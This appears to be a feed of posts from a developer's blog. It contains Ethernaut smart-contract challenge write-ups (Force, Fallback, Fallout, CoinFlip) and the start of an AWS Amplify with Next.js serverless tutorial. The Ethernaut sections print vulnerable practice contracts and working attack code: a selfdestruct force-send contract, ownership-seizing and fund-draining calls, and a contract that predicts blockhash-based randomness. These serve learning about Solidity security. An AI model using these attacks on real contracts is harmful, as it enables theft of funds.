<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Force</span> </span>{<span class="hljs-comment">/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/</span>}
</code></pre>
<p>There are three general ways to send eth to a contract. First, if the contract has any payable function, calling it with some ether will achieve the transfer.</p>
<p>The other two are exploits. When a second contract with some ether selfdestructs it will send its ether to a "beneficiary" contract. Without triggering any function nor the fallback. So the beneficiary <em>will</em> receive the ether. Regardless of whether it is payable or not.</p>
<p>The third way is finding a way of pre-computing the target contract's address before it is deployed (as addresses are deterministic). And sending some eth to such address. When the contract is deployed it will have some ether. Surprisingly that works!</p>
<p>We will use the second option. And write a new contract. Seed it with some eth, and calling self-destruct on it, with the target contract as beneficiary.</p>
<pre><code class="lang-solidity"><span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ForceEther</span> </span>{
    <span class="hljs-keyword">address</span> target;
    <span class="hljs-function"><span class="hljs-keyword">constructor</span> (<span class="hljs-params"><span class="hljs-keyword">address</span> _target</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        target <span class="hljs-operator">=</span> _target;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">force</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-built_in">selfdestruct</span>(<span class="hljs-keyword">payable</span>(target));
    }
}
</code></pre>
<p>When <code>force()</code> is called with some ether, the contract will self-destruct and force-send the ether to the target contract. Completing the challenge.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651910099238/2v3RRQ6zH.png" alt="Screen Shot 2022-05-07 at 2.54.28.png" /></p>
<h2 id="heading-epilogue">Epilogue.</h2>
<p>Here are some of the lessons from these challenges.</p>
<ul>
<li>Do not use <code>tx.origin</code> for authorization. A phishing contract may ask you to sign a transaction to a vulnerable contract. Setting up the attack.</li>
<li>Always make sure that integers cannot under or over flow. Use SafeMath.sol or solidity 0.8.0</li>
<li>Never delegatecall from a contract you do not trust. As you will modify your own contract's state variables with some outside functions that may (and probably will) be malicious.</li>
<li>Never assume your contract is safe from forcefully receiving ether. Even if you revert your fallback. If some of your logic depends on <code>address(this).balance</code> someone can really mess up your contract by forcefully sending ether.</li>
</ul>
<p>You can check out this <a target="_blank" href="https://blog.sigmaprime.io/solidity-security.html">Comprehensive list of known attack vectors and common anti-patterns</a> on sigmaprime's blog.</p>
<p>Hopefully you found this interesting!</p>
<p>Maybe follow me on twitter?</p>
<p><a href="https://twitter.com/jrlgs?ref_src=twsrc%5Etfw" class="twitter-follow-button">Follow @jrlgs</a></p>
]]></content:encoded></item><item><title><![CDATA[Ethernaut: Fallback, Fallout and winning a random game by predicting the future!]]></title><description><![CDATA[In the past few days I've been playing around with solidity and decided to try out the Ethernaut challenge. And will share my solutions and thought process here.

If you want to try the Ethernaut yourself, you should attempt the challenges before con...]]></description><link>https://blog.jrlgs.dev/ethernaut-fallback-fallout-and-winning-a-random-game-by-predicting-the-future</link><guid isPermaLink="true">https://blog.jrlgs.dev/ethernaut-fallback-fallout-and-winning-a-random-game-by-predicting-the-future</guid><category><![CDATA[Blockchain]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[Web Development]]></category><category><![CDATA[Solidity]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Fri, 06 May 2022 02:26:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1651803949677/Xik4UGpP2.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In the past few days I've been playing around with solidity and decided to try out the <a target="_blank" href="https://ethernaut.openzeppelin.com/">Ethernaut challenge</a>. And will share my solutions and thought process here.</p>
<blockquote>
<p>If you want to try the Ethernaut yourself, you should attempt the challenges before continuing reading.</p>
</blockquote>
<p>In this posts we will work through the first 3 exercises. I will assume you already know the basics of solidity as well as how to call smart contract functions.</p>
<h2 id="heading-1st-challenge-fallback">1st Challenge: Fallback.</h2>
<p>The goal of the challenge is to claim ownership of this contract and drain it of its funds. </p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">'@openzeppelin/contracts/math/SafeMath.sol'</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Fallback</span> </span>{

  <span class="hljs-keyword">using</span> <span class="hljs-title">SafeMath</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;
  <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint</span>) <span class="hljs-keyword">public</span> contributions;
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> <span class="hljs-keyword">public</span> owner;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> <span class="hljs-number">1000</span> <span class="hljs-operator">*</span> (<span class="hljs-number">1</span> <span class="hljs-literal">ether</span>);
  }

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyOwner</span> </span>{
        <span class="hljs-built_in">require</span>(
            <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner,
            <span class="hljs-string">"caller is not the owner"</span>
        );
        <span class="hljs-keyword">_</span>;
    }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">contribute</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">&lt;</span> <span class="hljs-number">0</span><span class="hljs-number">.001</span> <span class="hljs-literal">ether</span>);
    contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
    <span class="hljs-keyword">if</span>(contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">&gt;</span> contributions[owner]) {
      owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">getContribution</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
    <span class="hljs-keyword">return</span> contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
    owner.<span class="hljs-built_in">transfer</span>(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>);
  }

  <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span> <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span> <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> contributions[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>);
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
  }
}
</code></pre>
<p>The Intended way to claim ownership is to send eth to the contract by calling the <code>contribute()</code> function. But this function requires sending less than <code>0.001</code> eth per call. We would need to call the function 100 times in order to contribute just 1 eth. </p>
<p>And to claim ownership we need to beat the original owner's 1000 eth. So 100,000 calls would be needed. That's not happening. </p>
<p>But the contract authors were kind enough to add the <code>receive()</code> part. Note the absence of the <code>function</code> keyword. This means it is a fallback. And it is payable. </p>
<p>If you send any value greater than 0 and you already have <em>some</em> contribution, you can claim ownership.</p>
<p>A fallback is the function that gets called by default if a non-existent function is called on the contract. Or if ether is sent directly to the contract. Perhaps the author of the contract wanted to cheat their way into recovering ownership if they where beaten. </p>
<p>So, the way of attacking is quite straight forward:</p>
<ol>
<li>Call <code>contribute()</code> once with a minimal amount of eth. This will allow you to call the fallback</li>
<li>Call the fallback with any amount of eth. This will make you the owner</li>
<li>Once you are the owner, call <code>withdraw()</code>.</li>
</ol>
<p><code>contract</code> is the reference to the deployed smart contract. The Ethernaut exposes a <code>contract</code> object which is a <a target="_blank" href="https://trufflesuite.com/docs/truffle/reference/contract-abstractions/">Truffle contract abstraction</a>. We can call the smart contracts methods from it.</p>
<p>The initial contribution may look like this.</p>
<pre><code class="lang-js"><span class="hljs-keyword">await</span> contract.contribute({<span class="hljs-attr">value</span>: toWei(<span class="hljs-string">"0.0001"</span>)})
</code></pre>
<p>Then send a transaction with some eth. This <a target="_blank" href="https://trufflesuite.com/docs/truffle/reference/contract-abstractions/#sending-ether-triggering-the-fallback-function">will trigger the fallback</a></p>
<pre><code class="lang-js"><span class="hljs-keyword">await</span> contract.sendTransaction({<span class="hljs-attr">value</span>: toWei(<span class="hljs-string">"0.0001"</span>)})
</code></pre>
<p>That should give me ownership. If so, then I can call the <code>withdraw()</code> function. And retrieve all the ether from the contract.</p>
<pre><code class="lang-js"><span class="hljs-keyword">await</span> contract.withdraw()
</code></pre>
<p>When you complete the challenge, you should see this on the console.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651786616073/3QHi0vLKy.png" alt="Screen Shot 2022-05-05 at 16.36.31.png" /></p>
<h2 id="heading-2nd-challenge-fallout">2nd Challenge: Fallout</h2>
<p>The second challenge is not so obvious. You have to claim ownership of this contract:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">'@openzeppelin/contracts/math/SafeMath.sol'</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Fallout</span> </span>{

  <span class="hljs-keyword">using</span> <span class="hljs-title">SafeMath</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;
  <span class="hljs-keyword">mapping</span> (<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint</span>) allocations;
  <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> <span class="hljs-keyword">public</span> owner;


  <span class="hljs-comment">/* constructor */</span>
  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">Fal1out</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    allocations[owner] <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyOwner</span> </span>{
            <span class="hljs-built_in">require</span>(
                <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner,
                <span class="hljs-string">"caller is not the owner"</span>
            );
            <span class="hljs-keyword">_</span>;
        }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">allocate</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
    allocations[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> allocations[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>].add(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">value</span>);
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sendAllocation</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> allocator</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-built_in">require</span>(allocations[allocator] <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>);
    allocator.<span class="hljs-built_in">transfer</span>(allocations[allocator]);
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">collectAllocations</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
    <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>.<span class="hljs-built_in">transfer</span>(address(<span class="hljs-built_in">this</span>).<span class="hljs-built_in">balance</span>);
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">allocatorBalance</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> allocator</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
    <span class="hljs-keyword">return</span> allocations[allocator];
  }
}
</code></pre>
<p>The thing to notice is the constructor function. It is a function misspelled "Fal1out". So we can just call it and gain ownership.</p>
<pre><code class="lang-js"><span class="hljs-keyword">await</span> contract.Fal1out()
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651788842114/7SPOw8MVA.png" alt="Screen Shot 2022-05-05 at 16.52.03.png" /></p>
<h2 id="heading-3rd-challenge-predicting-the-future-of-a-coin-flip">3rd Challenge: Predicting the future of a Coin Flip</h2>
<p>This is where things start ramping up a notch. You have to "use your psychic abilities" to win 10 consecutive times in a coin flipping game, given the following smart contract.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.6.0;</span>

<span class="hljs-keyword">import</span> <span class="hljs-string">'@openzeppelin/contracts/math/SafeMath.sol'</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">CoinFlip</span> </span>{

  <span class="hljs-keyword">using</span> <span class="hljs-title">SafeMath</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;
  <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> consecutiveWins;
  <span class="hljs-keyword">uint256</span> lastHash;
  <span class="hljs-keyword">uint256</span> FACTOR <span class="hljs-operator">=</span> <span class="hljs-number">57896044618658097711785492504343953926634992332820282019728792003956564819968</span>;

  <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    consecutiveWins <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
  }

  <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">flip</span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> _guess</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-keyword">uint256</span> blockValue <span class="hljs-operator">=</span> <span class="hljs-keyword">uint256</span>(<span class="hljs-built_in">blockhash</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span>.sub(1)));

    <span class="hljs-keyword">if</span> (lastHash <span class="hljs-operator">=</span><span class="hljs-operator">=</span> blockValue) {
      <span class="hljs-keyword">revert</span>();
    }

    lastHash <span class="hljs-operator">=</span> blockValue;
    <span class="hljs-keyword">uint256</span> coinFlip <span class="hljs-operator">=</span> blockValue.div(FACTOR);
    <span class="hljs-keyword">bool</span> side <span class="hljs-operator">=</span> coinFlip <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> ? <span class="hljs-literal">true</span> : <span class="hljs-literal">false</span>;

    <span class="hljs-keyword">if</span> (side <span class="hljs-operator">=</span><span class="hljs-operator">=</span> _guess) {
      consecutiveWins<span class="hljs-operator">+</span><span class="hljs-operator">+</span>;
      <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    } <span class="hljs-keyword">else</span> {
      consecutiveWins <span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
      <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }
  }
}
</code></pre>
<p>Of course, we are not gonna solve this with psychic abilities!</p>
<blockquote>
<p>yet...</p>
</blockquote>
<p><code>blockvalue</code> is deterministic in as much as it depends only on the current block. We can write a new smart contract that performs the same computation as <code>flip()</code>, and sends the guess in the same transaction.</p>
<p>That way we can guarantee that both will be mined on the same block, thus the computed guess is guaranteed to be correct.</p>
<pre><code class="lang-solidity"><span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">CoinAttack</span> </span>{
    <span class="hljs-keyword">using</span> <span class="hljs-title">SafeMath</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">uint256</span></span>;
    <span class="hljs-keyword">uint256</span> FACTOR <span class="hljs-operator">=</span> <span class="hljs-number">57896044618658097711785492504343953926634992332820282019728792003956564819968</span>;
    CoinFlip <span class="hljs-keyword">public</span> original <span class="hljs-operator">=</span> CoinFlip(<span class="hljs-number">0xACA861f3BaA80b5Eb213f308f2b87BC311AEdA56</span>);

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">iCantBelieveIGuessed</span> (<span class="hljs-params"><span class="hljs-keyword">bool</span> _guess</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">uint256</span> blockValue <span class="hljs-operator">=</span> <span class="hljs-keyword">uint256</span>(<span class="hljs-built_in">blockhash</span>(<span class="hljs-built_in">block</span>.<span class="hljs-built_in">number</span>.sub(1)));
        <span class="hljs-keyword">uint256</span> answer <span class="hljs-operator">=</span> blockValue.div(FACTOR);

        <span class="hljs-keyword">bool</span> side <span class="hljs-operator">=</span> answer <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span> ? <span class="hljs-literal">true</span> : <span class="hljs-literal">false</span>;

        <span class="hljs-comment">// we can now "guess"</span>
        <span class="hljs-keyword">if</span> (side <span class="hljs-operator">=</span><span class="hljs-operator">=</span> _guess) {
            <span class="hljs-keyword">return</span> original.flip(_guess);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">return</span> original.flip(<span class="hljs-operator">!</span>_guess);
        }
    }
}
</code></pre>
<p>Once it is deployed we can just call its <code>iCantBelieveIGuessed()</code> function and from there call <code>flip()</code> on the address of the contract we are attacking. </p>
<p>We can check our progress with </p>
<pre><code class="lang-js"><span class="hljs-keyword">await</span> contract.consecutiveWins()
</code></pre>
<p>Then submit the instance:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1651800379595/BGD687pk8.png" alt="Screen Shot 2022-05-05 at 20.26.06.png" /></p>
<p>And we are done!</p>
<h2 id="heading-epilogue">Epilogue.</h2>
<p>I am enjoying solidity and smart contracts way more than Next.js or even AWS to be honest. Both of which I still like a lot. But I think I will focus on the topic of smart contracts!</p>
<p>"Thinking in solidity" requires shifting how we think about execution of the programs we write. Kinda similar to how when learning <code>async/await</code> in javascript. </p>
<p>As we saw in the third example, several <em>consecutive</em> events can happen on the same block. Thus, it is as if they happen at the same time, at least as far as the blockchain is concerned.</p>
<p>Hopefully you found this useful. I'll share more answers in future posts!</p>
<p>:D</p>
]]></content:encoded></item><item><title><![CDATA[How to (and why) go serverless]]></title><description><![CDATA[For the past week or so I've been researching quite a lot about software architecture. And I have a BIG essay coming. Yet I am only like halfway through. 
So I decided to take a little bit of what I learned about Serverless and put it into a separate...]]></description><link>https://blog.jrlgs.dev/how-to-and-why-go-serverless</link><guid isPermaLink="true">https://blog.jrlgs.dev/how-to-and-why-go-serverless</guid><category><![CDATA[Next.js]]></category><category><![CDATA[AWS]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[learning]]></category><dc:creator><![CDATA[Jorge Romero]]></dc:creator><pubDate>Thu, 21 Apr 2022 16:03:21 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1648768061712/eYW7RMoc9.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>For the past week or so I've been researching quite a lot about software architecture. And I have a BIG essay coming. Yet I am only like halfway through. </p>
<p>So I decided to take a little bit of what I learned about Serverless and put it into a separate post. I want to <em>build</em> something right now. Instead of blabbering theoretical gibberish.</p>
<blockquote>
<p>Ok, I ended up with some theoretical gibberish. But only a little.</p>
</blockquote>
<h1 id="heading-so-lets-get-our-feet-wet-shall-we">So let's get our feet wet, shall we?</h1>
<p>I will explain with quite some detail what I learned about Serverless architectures on the aforementioned post. Right now, I will just take some time to ramble about the <em>why</em>. Then, we will get straight into the hands-on tutorial. If you are not interested in my ramblings, feel free to skip the following section.</p>
<blockquote>
<p>You will break my heart. But feel free to skip.</p>
</blockquote>
<h2 id="heading-but-first-why">But first, why?</h2>
<p>Let me tell you how I think about the whole "Serverless" thing. There's ovbiously always a server <em>somewhere</em>. Its just that you don't need to think about that. Instead, you need to think about higher level constructs. </p>
<p>Let me paint an analogy.</p>
<p>If you are familiar with the <em>functional</em> style on JavaScript. You are probably familiar with the <code>Array.prototype.map()</code> method. Mathematically, you are dealing with a <em>functor</em> over the category of Arrays. (<a target="_blank" href="https://medium.com/javascript-scene/functors-categories-61e031bac53f">read this if you are curious</a>)</p>
<p>Which doesn't really mean anything if you are not familiar with the maths. But if you do, the phrase "a functor over the category of arrays" yields <em>a lot</em> of meaning. </p>
<blockquote>
<p>And I mean A LOT. Functors are a mathematical way of talking about analogy. They are a way of transforming something from one domain to another, while preserving its structure, at least some of it. In the case of JS Arrays, the structure that is preserved is the "ordering" of elements, over the domain transformation defined by the function you pass into map. So the input and output arrays are analogous like that.</p>
</blockquote>
<p>But requires you to think in more abstract terms. The <code>map()</code> method is much more than just syntactic sugar over a clever <code>for</code> loop. But to <em>get why</em>, you will need to invest some time understanding what functors are.</p>
<p>Having said that. It doesn't really matter if you use a <code>for</code> or if you use <code>map()</code>. The JavaScript runtime will <em>always</em> iterate over the elements of an array one-by-one. The fancy abstraction is a <em>cognitive</em> tool for us, not for the computer. Being able to think at a higher level of abstraction allows us to do more with less code and with less effort and time.</p>
<p>Well, in my mind the whole Serverless thing is analogous to that. You don't have to worry about lower-level details. Thus allowing you to only focus on your <em>business logic</em>. The thing that actually provides the particular functionality of your app.</p>
<p>But you are forced to reason at a higher level of abstraction. Things like <a target="_blank" href="https://www.splunk.com/en_us/data-insider/what-are-serverless-functions.html">serverless functions</a> and <a target="_blank" href="https://en.wikipedia.org/wiki/Edge_computing">"edge computing"</a> are not quite as concrete as an Express.js route handler on a Node server, for example. But they could be used for the same purposes.</p>
<p>Keeping up with the analogy, it doesn't really matter if you use <a target="_blank" href="https://aws.amazon.com/lambda/">AWS Lambda</a> or your own Node/Express server. It will always boil down to some concrete procedural instructions on a server <em>somewhere</em>.</p>
<p>You may now reasonably be asking, Why would I want to go through the trouble of using harder-to-reason-about higher-level constructs over the concrete alternative? </p>
<p>If you use managed Serverless services you get <em>extra</em> features, like automatic scaling for <em>free</em>, in as much as <a target="_blank" href="https://aws.amazon.com/lambda/features/">you do not have to do anything to take advantage of them</a>. Achieving the same with your <a target="_blank" href="https://www.freecodecamp.org/news/scaling-node-js-applications-8492bd8afadc/">own Node server is not trivial. At all</a>.</p>
<p>Another big benefit is that you are only charged for the computing time you actually use. Instead of renting a server for a set period of time, whether you use it or not.</p>
<p>Hopefully that paints a good picture of <em>why</em> Serverless may be a good idea. But I should point out that it is <a target="_blank" href="https://hackernoon.com/cons-of-serverless-architectures-7b8b570c19da">not the best solution for every use case</a>. As anything in software architecture, it depends...</p>
<p>...</p>
<p>I was lucky enough to be a Math major at some point in my life (and would love to go back and finally get my degree XD). I got the chance to study algebra and category theory. So this way of thinking is <em>really</em> comfortable for me :P</p>
<p><strong>But the concrete hands-on coding is not! </strong></p>
<p>So that's why I will focus on building actual projects on this blog. I will start by building a project to introduce myself to AWS. (in between <a target="_blank" href="https://jorgerl.hashnode.dev/02-watch-me-build-stuff-exhibit-a-chrome-extensions">the bigger SaaS project I have going on</a>). Let's get into it!</p>
<h2 id="heading-the-basic-ideas-behind-aws">The basic ideas behind AWS</h2>
<p>The AWS ecosystem exposes a lot of services that you can take advantage of while only paying for what you actually use. That is, they are <em>services</em>, not libraries nor frameworks. And they are pay-as-you-use, not subscriptions nor rents.</p>
<blockquote>
<p>Most of them have very generous free tiers, so don't you worry!</p>
</blockquote>
<p>The underlying infrastructure is automagically handled for you. And there are no "setup" costs whatsoever.</p>
<p>There is a problem though. They are hard to grasp. What the heck is "Cognito", "SQS", "Lambda" or "AppSync"?</p>
<p>Well, they are individual services that, like Lego bricks, allow you to build things like authentication (Cognito). But you may find it easier to think in terms of <em>categories</em> instead of services. So you would want to have AWS handle authorization, to handle a GraphQL API, and so.</p>
<p>Wouldn't it be nice to have something like:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">import</span> {Auth} <span class="hljs-keyword">from</span> <span class="hljs-string">"FancyAmazonMagicModule.js"</span>

Auth.handleItForMe()
</code></pre>
<p>Well, you can't. But not by much!</p>
<h2 id="heading-enter-aws-amplify">Enter AWS Amplify</h2>
<p>Amplify is a framework for building full stack application with AWS. Consisting of several components. Let's list some of them.</p>
<h3 id="heading-amplifycli">AmplifyCLI</h3>
<p>This is a command line utility that you can use to easily configure and setup AWS services that you will use in your app. It is very straightforward to use.</p>
<h3 id="heading-amplify-library">Amplify Library</h3>
<p>A set of modules, with components for frontend frameworks or libraries like React or Next, to easily consume the AWS services you have set up for your app.</p>
<h3 id="heading-amplify-console">Amplify Console</h3>
<p>This is the command hub for your AWS apps built with amplify. You can see usage analytics and perform administrative tasks here.</p>
<h3 id="heading-amplify-hosting">Amplify Hosting</h3>
<p>A hosting service by AWS that you can use to deploy your app. Uses a git-based workflow, so it is very easy to use.</p>
<h1 id="heading-using-aws-amplify-and-nextjs-to-build-an-app">Using AWS Amplify and Next.js to build an App</h1>
<p>Let's build a simple app with AWS Amplify and Next.js. The basic steps we will follow are the following</p>
<ol>
<li>Create and set up an AWS account and Install Amplify CLI</li>
<li>Create a Next.js project and import Amplify libraries</li>
<li>Use Amplify CLI to setup the AWS services you will need</li>
<li>Use the modules form Amplify library in your app to consume the services</li>
<li>Build your app</li>
<li>Deploy!</li>
</ol>
<h2 id="heading-sign-up-to-aws-and-using-amplify-cli">Sign up to AWS and Using Amplify CLI</h2>
<p>I am gonna assume you have already signed up for an AWS account. Once you have, you can install the amplify CLI globally via npm.</p>
<pre><code class="lang-terminal">npm install -g @aws-amplify/cli
</code></pre>
<blockquote>
<p>I am also gonna assume that you know how to work in the "Node style" (with npm). And have Node.js installed. </p>
</blockquote>
<p>And you will set it up with the configure command.</p>
<pre><code class="lang-terminal">amplify configure
</code></pre>
<p>It will ask you to sign in into the AWS Console. Once you do, you will need to create an IAM user</p>
<blockquote>
<p>IAM stands for <a target="_blank" href="https://aws.amazon.com/iam/">Identity and Access Management</a>. And is the way Amazon uses for dealing with users and user permissions, from the same organization. So if an organization has just one AWS account, they can have several employees using the account to build.</p>
</blockquote>
<p>It will ask you for your preferred region and an username for the Amplify IAM user.</p>
<pre><code class="lang-terminal">Specify the AWS Region
? region:  us-east-1
Specify the username of the new IAM user:
? user name:  jorch-test
Complete the user creation using the AWS console
</code></pre>
